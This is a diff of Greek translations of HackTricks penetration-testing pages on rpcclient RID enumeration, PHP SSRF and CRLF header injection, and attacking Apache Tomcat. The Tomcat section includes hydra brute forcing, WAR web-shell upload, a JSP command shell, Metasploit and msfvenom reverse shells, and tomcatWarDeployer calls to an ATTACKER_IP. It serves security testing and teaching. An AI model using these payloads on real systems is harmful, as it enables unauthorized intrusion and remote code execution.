* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -5,18 +5,24 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### **Τι είναι ένα RID**
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Επισκόπηση των Σχετικών Αναγνωριστικών (RID) και των Αναγνωριστικών Ασφαλείας (SID)
Τα **Σχετικά Αναγνωριστικά (RID)** και τα **Αναγνωριστικά Ασφαλείας (SID)** είναι βασικά στοιχεία στα λειτουργικά συστήματα Windows για τη μοναδική αναγνώριση και διαχείριση αντικειμένων, όπως χρήστες και ομάδες, εντός ενός τομέα δικτύου.
**Τα Σχετικά Αναγνωριστικά (RID)** και τα **Αναγνωριστικά Ασφαλείας (SID)** είναι βασικά στοιχεία στα λειτουργικά συστήματα Windows για τη μοναδική αναγνώριση και διαχείριση αντικειμένων, όπως χρήστες και ομάδες, εντός ενός τομέα δικτύου.
- Τα **SIDs** λειτουργούν ως μοναδικά αναγνωριστικά για τους τομείς, εξασφαλίζοντας ότι κάθε τομέας είναι διακριτός.
- Τα **RIDs** προσαρτώνται στα SIDs για τη δημιουργία μοναδικών αναγνωριστικών για αντικείμενα εντός αυτών των τομέων. Αυτός ο συνδυασμός επιτρέπει την ακριβή παρακολούθηση και διαχείριση των δικαιωμάτων αντικειμένων και των ελέγχων πρόσβασης.
@ -26,7 +32,7 @@
### **Απαρίθμηση με το rpcclient**
Το εργαλείο **`rpcclient`** από το Samba χρησιμοποιείται για την αλληλεπίδραση με **σημεία άκρων RPC μέσω ονομασμένων σωληνώσεων**. Παρακάτω παραδίδονται εντολές που μπορούν να εκδοθούν στις διεπαφές SAMR, LSARPC και LSARPC-DS μετά από την **δημιουργία μιας συνεδρίας SMB**, συχνά απαιτώντας διαπιστεύσεις.
Το εργαλείο **`rpcclient`** από το Samba χρησιμοποιείται για την αλληλεπίδραση με **σημεία RPC μέσω ονομασμένων σωληνώσεων**. Παρακάτω είναι οι εντολές που μπορούν να εκδοθούν στις διεπαφές SAMR, LSARPC και LSARPC-DS μετά από την **δημιουργία μιας συνεδρίας SMB**, συχνά απαιτώντας διαπιστεύσεις.
#### Πληροφορίες Διακομιστή
@ -34,11 +40,11 @@
#### Απαρίθμηση Χρηστών
* **Οι χρήστες μπορούν να απαριθμηθούν** χρησιμοποιώντας: `querydispinfo` και `enumdomusers`.
* **Οι χρήστες μπορούν να απαριθμηθούν** χρησιμοποιώντας: οι εντολές `querydispinfo` και `enumdomusers`.
* **Λεπτομέρειες ενός χρήστη** με: `queryuser <0xrid>`.
* **Οι ομάδες ενός χρήστη** με: `queryusergroups <0xrid>`.
* **Το SID ενός χρήστη ανακτάται** μέσω: `lookupnames <username>`.
* **Οι Ϩες των χρηστών** με: `queryuseraliases [builtin|domain] <sid>`.
* **Οι ψευδώνυμοι των χρηστών** με: `queryuseraliases [builtin|domain] <sid>`.
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -50,13 +56,13 @@ done
#### Απαρίθμηση Ομάδων
* **Ομάδες** με: `enumdomgroups`.
* **Λεπτομέρειες ομάδας** με: `querygroup <0xrid>`.
* **Λεπτομέρειες μιας ομάδας** με: `querygroup <0xrid>`.
* **Μέλη μιας ομάδας** μέσω: `querygroupmem <0xrid>`.
#### Απαρίθμηση Ομάδων Ψευδωνύμων
#### Απαρίθμηση Ομάδων Συνωνύμων
* **Ομάδες ψευδωνύμων** με: `enumalsgroups <builtin|domain>`.
* **Μέλη μιας ομάδας ψευδωνύμων** με: `queryaliasmem builtin|domain <0xrid>`.
* **Ομάδες συνωνύμων** με: `enumalsgroups <builtin|domain>`.
* **Μέλη μιας ομάδας συνωνύμων** με: `queryaliasmem builtin|domain <0xrid>`.
#### Απαρίθμηση Domain
@ -71,9 +77,9 @@ done
#### Επιπλέον Λειτουργίες με SIDs
* **SIDs με το όνομά τους** χρησιμοποιώντας: `lookupnames <username>`.
* **SIDs με το όνομα τους** χρησιμοποιώντας: `lookupnames <username>`.
* **Περισσότερα SIDs** μέσω: `lsaenumsid`.
* **Ελέγχοντας περισσότερα SIDs με κύκλωμα RID** πραγματοποιείται με: `lookupsids <sid>`.
* **Ελέγχοντας περισσότερα SIDs με τον κύκλο RID** με την εντολή: `lookupsids <sid>`.
#### **Επιπλέον εντολές**
@ -87,10 +93,28 @@ done
| createdomuser | Δημιουργία χρήστη domain | |
| deletedomuser | Διαγραφή χρήστη domain | |
| lookupnames | LSARPC | Αναζήτηση ονομάτων χρηστών σε τιμές SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Αναζήτηση SIDs σε ονόματα χρηστών (κύκλωμα RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lookupsids | Αναζήτηση SIDs σε ονόματα χρηστών (κύκλος RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lsaaddacctrights | Προσθήκη δικαιωμάτων σε έναν λογαριασμό χρήστη | |
| lsaremoveacctrights | Αφαίρεση δικαιωμάτων από έναν λογαριασμό χρήστη | |
| dsroledominfo | LSARPC-DS | Λήψη πληροφοριών πρωτεύοντος domain |
| dsenumdomtrusts | Απαρίθμηση εμπιστευμένων domain εντός ενός δάσους AD | |
Για να **κατανοήσετε** καλύτερα πώς λειτουργούν τα εργαλεία _**samrdump**_ **και** _**rpcdump**_ πρέπει να διαβάσετε το [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,21 +2,29 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Συναρτήσεις PHP SSRF
Κάποιες συναρτήσεις όπως **file\_get\_contents(), fopen(), file(), md5\_file()** δέχονται διευθύνσεις URL ως είσοδο που θα ακολουθήσουν, δημιουργώντας **πιθανές ευπάθειες SSRF** εάν ο χρήστης μπορεί να ελέγχει τα δεδομένα:
Κάποιες συναρτήσεις όπως **file\_get\_contents(), fopen(), file(), md5\_file()** δέχονται διευθύνσεις URL ως είσοδο που θα ακολουθήσουν κάνοντας **δυνητικές ευπάθειες SSRF** εάν ο χρήστης μπορεί να ελέγχει τα δεδομένα:
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
@ -25,7 +33,7 @@ md5_file("http://127.0.0.1:8081");
```
### CRLF
Επιπλέον, σε ορισμένες περιπτώσεις είναι ακόμα δυνατόν να σταλούν αυθαίρετα headers μέσω των CRLF "ευπαθειών" στις προηγούμενες λειτουργίες:
Επιπλέον, σε μερικές περιπτώσεις είναι ακόμα δυνατόν να σταλούν αυθαίρετα headers μέσω των CRLF "ευπαθειών" στις προηγούμενες λειτουργίες:
```php
# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
@ -60,16 +68,23 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,20 +2,28 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ανακάλυψη
* Συνήθως λειτουργεί στη **θύρα 8080**
* **Συνηθισμένο σφάλμα Tomcat:**
* **Κοινό σφάλμα Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
@ -29,11 +37,11 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Τοποθεσία Αρχείων Διαχειριστή**
Η εντοπισμός των ακριβών τοποθεσιών των καταλόγων **`/manager`** και **`/host-manager`** είναι κρίσιμος καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται η εκτέλεση μιας αναζήτησης με βία για την εντοπισμό αυτών των σελίδων.
Η εντοπισμός των ακριβών τοποθεσιών των καταλόγων **`/manager`** και **`/host-manager`** είναι κρίσιμος καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση με βία για την εντοπισμό αυτών των σελίδων.
### **Απαρίθμηση Ονομάτων Χρηστών**
Για εκδόσεις Tomcat παλαιότερες από την 6, είναι δυνατή η απαρίθμηση ονομάτων χρηστών μέσω:
Για τις εκδόσεις Tomcat παλαιότερες από την 6, είναι δυνατή η απαρίθμηση ονομάτων χρηστών μέσω:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
@ -62,19 +70,19 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
```
## Κοινές Ευπάθειες
### **Αποκάλυψη Ανίχνευσης Κωδικού Πρόσβασης**
### **Αποκάλυψη Κωδικού Πρόσβασης με Ανίχνευση Ανάκλησης**
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε μια ανίχνευση υπό ευνοϊκές συνθήκες.
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε μια ανίχνευση ανάκλησης υπό ευνοϊκές συνθήκες.
### **Διπλός Κωδικοποιημένος URL**
### **Διπλή Κωδικοποίηση URL**
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει τη διπλή κωδικοποίηση του URL για διέλευση διαδρομής, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ενός ειδικά διαμορφωμένου URL.
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει τη διπλή κωδικοποίηση URL για τη διέλευση διαδρομής, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ενός ειδικά διαμορφωμένου URL.
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
### /παραδείγματα
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα σεναρίων που είναι ευάλωτα σε αποκάλυψη πληροφορι
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδειγματικά scripts που είναι ευάλωτα σε αποκάλυψη πληροφορι
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -84,8 +92,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
@ -95,15 +101,15 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Αντιστρεπτικό κέλυφος MSFVenom
### MSFVenom Αντίστροφο Shell
1. Δημιουργία του πολέμου για αναπτυξη:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Μεταφορτώστε το αρχείο `revshell.war` και αποκτήστε πρόσβαση σε αυτό (`/revshell/`):
### Ανέβασε το αρχείο `revshell.war` και έχε πρόσβαση σε αυτό (`/revshell/`):
### Δέστε και αναστρέψτε το κέλυφος με το [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Δέσε και ανάστροφο κέλυφος με το [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις της sun)
@ -115,7 +121,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Δέσιμο κέλυφους
#### Δέστε το κέλυφος
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
@ -125,7 +131,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d
```
### Χειροκίνητη μέθοδος - Web shell
Δημιουργήστε το **index.jsp** με τον παρακάτω [περιεχόμενο](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
Δημιουργήστε το **index.jsp** με το ακόλουθο [περιεχόμενο](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -185,14 +191,20 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,17 +4,25 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Αποφύγετε την εκτέλεση με root
Για να μην εκτελείται το Tomcat με root, μια πολύ συνηθισμένη ρύθμιση είναι να οριστεί ένας διακομιστής Apache στη θύρα 80/443 και, αν το αιτούμενο μονοπάτι ταιριάζει με ένα regexp, το αίτημα στέλνεται στο Tomcat που τρέχει σε διαφορετική θύρα.
